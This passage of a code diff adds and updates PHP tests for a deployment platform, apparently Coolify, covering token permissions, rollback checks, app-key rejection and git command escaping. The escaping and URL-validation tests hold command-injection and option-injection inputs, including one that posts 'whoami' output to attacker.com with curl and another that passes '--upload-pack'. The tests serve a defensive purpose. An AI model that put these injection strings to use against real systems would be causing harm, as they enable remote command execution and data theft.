$application = createDockerImageApplication($this->environment, $this->destination);
ApplicationPreview::create([
'application_id' => $application->id,
'pull_request_id' => 7,
'pull_request_html_url' => '',
'docker_registry_image_tag' => 'pr_7',
]);
$token = $this->user->createToken('deploy-only', ['deploy'], null, $this->team->id)->plainTextToken;
foreach ([[1234, 'pr_1234'], [7, 'other']] as [$pullRequestId, $dockerTag]) {
$this->withHeaders(['Authorization' => 'Bearer '.$token])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'pull_request_id' => $pullRequestId,
'docker_tag' => $dockerTag,
])->assertJsonPath('deployments.0.message', 'Missing required permissions: write. Opening a preview or changing its docker tag needs the write permission.');
}
expect($application->previews()->pluck('docker_registry_image_tag', 'pull_request_id')->all())->toBe([7 => 'pr_7'])
->and($application->deployment_queue()->count())->toBe(0);
$this->withHeaders(['Authorization' => 'Bearer '.$token])->postJson('/api/v1/deploy', [
'uuid' => $application->uuid,
'pull_request_id' => 7,
'docker_tag' => 'pr_7',
])->assertSuccessful();
expect($application->deployment_queue()->latest('id')->first()->docker_registry_image_tag)->toBe('pr_7');
});
+9
View File
@@ -175,3 +175,12 @@ describe('on a reachable server', function () {
]);
});
});
it('allows a rollback only to a listed image or a successful production deployment', function () {
rollbackDeployment($this->application, 'aaaaaaa', '2026-10-01 10:00:00');
rollbackDeployment($this->application, 'bbbbbbb', '2026-10-02 10:00:00', ['pull_request_id' => 3]);
expect(GetRollbackImages::allows($this->application, 'aaaaaaa'))->toBeTrue()
->and(GetRollbackImages::allows($this->application, 'bbbbbbb'))->toBeFalse()
->and(GetRollbackImages::allows($this->application, str_repeat('f', 40)))->toBeFalse();
});
@@ -195,7 +195,7 @@ test('the deployment job ls-remote uses the HTTPS credential in the helper conta
$application = gitHttpsCredentialApplication($this->repository);
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
$reflection = new ReflectionObject($job);
foreach (['application' => $application, 'customPort' => 22, 'fullRepoUrl' => $this->repository] as $property => $value) {
foreach (['application' => $application, 'customPort' => 22, 'deployment_uuid' => 'deploy-uuid', 'fullRepoUrl' => $this->repository] as $property => $value) {
$reflection->getProperty($property)->setValue($job, $value);
}
@@ -418,7 +418,12 @@ test('manage_preview creates, updates and deletes a preview of the token team',
expect(mcpAppIsError($writeOnly))->toBeTrue()
->and(mcpAppText($writeOnly))->toContain('deploy');
$created = mcpAppCall($deployToken, 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]);
$deployOnly = mcpAppCall($deployToken, 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]);
expect(mcpAppIsError($deployOnly))->toBeTrue()
->and(mcpAppText($deployOnly))->toContain('Missing required permissions: write')
->and(ApplicationPreview::where('application_id', $this->application->id)->exists())->toBeFalse();
$created = mcpAppCall(mcpAppToken($this->user, ['write', 'deploy']), 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]);
expect(mcpAppIsError($created))->toBeFalse(mcpAppText($created))
->and(ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', 7)->exists())->toBeTrue();
+64
View File
@@ -0,0 +1,64 @@
<?php
use App\Http\Middleware\RejectPublishedAppKey;
use App\Models\InstanceSettings;
use App\Traits\ListensToTeamChannel;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
class PublishedAppKeyTestWakeupProbe
{
public static bool $woken = false;
public function __wakeup(): void
{
self::$woken = true;
}
}
beforeEach(function () {
config(['app.maintenance.store' => 'array']);
InstanceSettings::forceCreate(['id' => 0]);
PublishedAppKeyTestWakeupProbe::$woken = false;
});
it('refuses HTTP requests when a published key is the current or a previous key', function (array $config) {
config($config);
$this->get('/api/health')
->assertStatus(503)
->assertSee('app-key:reencrypt');
})->with([
'current key' => [['app.key' => RejectPublishedAppKey::PUBLISHED_KEYS[0]]],
'previous key' => [['app.previous_keys' => [RejectPublishedAppKey::PUBLISHED_KEYS[0]]]],
]);
it('serves HTTP requests with a private key', function () {
$this->get('/api/health')->assertOk();
});
it('does not unserialize objects from a Sentinel token', function () {
$token = encrypt(new PublishedAppKeyTestWakeupProbe);
$this->postJson('/api/v1/sentinel/push', [], ['Authorization' => 'Bearer '.$token])
->assertUnauthorized();
expect(PublishedAppKeyTestWakeupProbe::$woken)->toBeFalse();
});
it('does not unserialize objects from a team channel payload', function () {
$component = new class
{
use ListensToTeamChannel;
public function read(array $event): array
{
return $this->teamChannelPayload($event);
}
};
expect($component->read(['payload' => encrypt(['teamId' => 1, 'probe' => new PublishedAppKeyTestWakeupProbe])]))
->toHaveKey('teamId', 1)
->and(PublishedAppKeyTestWakeupProbe::$woken)->toBeFalse();
});
+3
View File
@@ -52,6 +52,9 @@ it('creates the root user during the setup window', function () {
});
it('shows how to open the setup window again when it is closed', function () {
RootSetupWindow::openIfNoUserExists();
$this->travel(RootSetupWindow::MINUTES * 60 + 1)->seconds();
$this->get('/register')
->assertOk()
->assertSee('docker restart coolify')
@@ -293,6 +293,7 @@ describe('deployment git command escaping', function () {
foreach ([
'application' => new Application,
'customPort' => 22,
'deployment_uuid' => 'deploy-uuid',
'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #",
] as $property => $value) {
$reflectionProperty = $job->getProperty($property);
@@ -306,7 +307,7 @@ describe('deployment git command escaping', function () {
$command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa');
expect($command)
->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
->toContain("git ls-remote -- 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
->toContain('-i /root/.ssh/id_rsa')
->not->toContain('repo.git; curl');
});
+1 -1
View File
@@ -91,7 +91,7 @@ test('a github app repository on the server needs no ssh setup', function () {
expect($checkout)->toContain('https://github.com/org/repo')
->and($checkout)->not->toContain('coolify_git_test-uuid')
->and($lsRemote)->toContain("git ls-remote 'https://github.com/org/repo'")
->and($lsRemote)->toContain("git ls-remote -- 'https://github.com/org/repo'")
->and($lsRemote)->not->toContain('bash -c')
->and($lsRemote)->not->toContain('coolify_git_test-uuid');
});
+1 -1
View File
@@ -58,7 +58,7 @@ it('escapes malicious repository URLs in deploy_key type', function () {
// Inside the docker `bash -c '...'` wrapper, the URL stays one single-quoted argument,
// so the semicolon and backticks are never evaluated by either shell
expect($command)
->toContain("git ls-remote '\\''git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'\\''")
->toContain("git ls-remote -- '\\''git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'\\''")
->not->toContain('ls-remote git@github.com');
});
+3 -3
View File
@@ -67,7 +67,7 @@ it('skips the lfs smudge filter for every git call when git lfs is disabled', fu
$calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: false, pullRequestId: 7);
expect($calls)->toBe([
'1 clone -b main https://github.com/duilio/bad-lfs-example <tmp>/repo',
'1 clone -b main -- https://github.com/duilio/bad-lfs-example <tmp>/repo',
'1 fetch origin pull/7/head:pr-7-coolify',
'1 checkout pr-7-coolify',
]);
@@ -77,7 +77,7 @@ it('keeps the lfs smudge filter and pulls lfs objects when git lfs is enabled',
$calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: true);
expect($calls)->toBe([
'unset clone -b main https://github.com/duilio/bad-lfs-example <tmp>/repo',
'unset clone -b main -- https://github.com/duilio/bad-lfs-example <tmp>/repo',
'unset lfs ls-files -n',
]);
});
@@ -86,7 +86,7 @@ it('skips the lfs smudge filter for the compose file checkout of a pinned commit
$calls = gitCallsWithLfsSkipSmudge(isGitLfsEnabled: true, onlyCheckout: true, commit: 'abc123def456abc123def456abc123def456abc1');
expect($calls)->toBe([
'1 clone --no-checkout -b main https://github.com/duilio/bad-lfs-example <tmp>/repo',
'1 clone --no-checkout -b main -- https://github.com/duilio/bad-lfs-example <tmp>/repo',
'1 -c advice.detachedHead=false checkout abc123def456abc123def456abc123def456abc1',
]);
});
+2 -2
View File
@@ -76,7 +76,7 @@ it('clones a connected Gitea source over HTTPS with the OAuth token and per-comm
expect($result['fullRepoUrl'])->toBe('https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git');
expect($result['commands'])
->not->toContain('git config --global')
->toContain("{$expectedConfig} clone --recurse-submodules -b 'main' 'https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git'")
->toContain("{$expectedConfig} clone --recurse-submodules -b 'main' -- 'https://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test/owner/private-app.git'")
->toContain("{$expectedConfig} submodule update --init --recursive");
});
@@ -103,7 +103,7 @@ it('runs ls-remote for a connected Gitea source with the OAuth token and custom
$result = $application->generateGitLsRemoteCommands('test-deployment', false);
expect($result['fullRepoUrl'])->toBe('http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git');
expect($result['commands'])->toContain("git ls-remote 'http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git'");
expect($result['commands'])->toContain("git ls-remote -- 'http://oauth2:gt-token%2Fwith%2Bsym@gitea.example.test:3000/owner/private-app.git'");
});
it('falls back to the Gitea source private key only when it belongs to the source team', function (int $keyTeamId, bool $expectKey) {
+17
View File
@@ -557,3 +557,20 @@ it('rejects raw control characters', function () {
expect($validator->errors()->first('url'))->toContain('invalid characters');
}
});
it('accepts a repository path only when the rule allows it', function () {
$paths = ['owner/name', 'group/subgroup/name.git', 'owner/.github'];
foreach ($paths as $path) {
expect(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl(allowRepositoryPath: true)])->passes())->toBeTrue("Failed for path: {$path}")
->and(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl])->passes())->toBeFalse("Passed for path: {$path}");
}
});
it('rejects repository paths that git would read as an option or a local path', function () {
$paths = ['--upload-pack=touch /tmp/x', '--upload-pack', '-u/x', '/root/.ssh', './repo/x', '.ssh/x', 'owner/../name', 'owner'];
foreach ($paths as $path) {
expect(Validator::make(['url' => $path], ['url' => new ValidGitRepositoryUrl(allowRepositoryPath: true)])->passes())->toBeFalse("Passed for path: {$path}");
}
});
+3 -2
View File
@@ -1,8 +1,8 @@
<?php
use App\Models\User;
use App\Support\RootSetupWindow;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
uses(RefreshDatabase::class);
@@ -20,7 +20,8 @@ it('shows registration page when no users exist', function () {
});
it('shows how to open the setup window again when it is closed', function () {
Cache::flush();
RootSetupWindow::openIfNoUserExists();
$this->travel(RootSetupWindow::MINUTES * 60 + 1)->seconds();
$page = visit('/register');